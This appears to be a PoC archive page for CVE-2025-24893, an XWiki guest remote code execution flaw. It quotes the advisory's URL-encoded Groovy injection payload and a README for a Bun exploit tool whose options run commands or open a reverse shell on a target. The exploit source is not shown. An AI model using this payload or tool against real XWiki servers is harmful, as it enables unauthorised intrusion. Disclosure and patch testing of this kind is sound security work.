Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1110 CNY

100%

CVE-2025-24893 PoC — Remote code execution as guest via SolrSearchMacros request in xwiki

Source
Associated Vulnerability
Title:Remote code execution as guest via SolrSearchMacros request in xwiki (CVE-2025-24893)
Description:XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Any guest can perform arbitrary remote code execution through a request to `SolrSearch`. This impacts the confidentiality, integrity and availability of the whole XWiki installation. To reproduce on an instance, without being logged in, go to `<host>/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28"Hello%20from"%20%2B%20"%20search%20text%3A"%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20`. If there is an output, and the title of the RSS feed contains `Hello from search text:42`, then the instance is vulnerable. This vulnerability has been patched in XWiki 15.10.11, 16.4.1 and 16.5.0RC1. Users are advised to upgrade. Users unable to upgrade may edit `Main.SolrSearchMacros` in `SolrSearchMacros.xml` on line 955 to match the `rawResponse` macro in `macros.vm#L2824` with a content type of `application/xml`, instead of simply outputting the content of the feed.
Readme
# CVE-2025-24893

Install bun:

```bash
curl -fsSL https://bun.com/install | bash
```

To install dependencies:

```bash
bun install
```

To run:

```bash
bun run CVE-2025-24893.ts
```

This project was created using `bun init` in bun v1.2.19. [Bun](https://bun.com) is a fast all-in-one JavaScript runtime.

## How to use:

```
Usage: bun CVE-2025-24893.ts [options]

Options:
  -u, --url <url>           The target URL to interact with.
  -i, --ip <ip-address>     The IP address for a reverse shell connection.
  -p, --port <port-number>  The port number for the reverse shell.
  -r, --rverse              Open a reverse shell connection.
  -c, --cmd <command>       Execute a specific command.

Examples:
  # Execute a command on a target URL
  bun CVE-2025-24893.ts --url http://example.com --cmd "ls -la"

  # Open a reverse shell
  bun CVE-2025-24893.ts --rverse --ip 127.0.0.1 --port 4444
```

## Disclaimer

This exploit and guide are for educational purposes only. Use this information responsibly and only on systems you have explicit permission to test. Unauthorized exploitation of systems is illegal and unethical. The authors and contributors are not responsible for any misuse or damage caused by this information.
File Snapshot

[4.0K] /data/pocs/4828a0fb01ab8d58d59eae599d386d51315a06b1 ├── [5.3K] bun.lock ├── [3.6K] CVE-2025-24893.ts ├── [4.0K] fancy │   └── [8.7K] fancier.ts ├── [2.9K] index.ts ├── [ 316] package.json ├── [1.2K] README.md └── [ 713] tsconfig.json 1 directory, 7 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →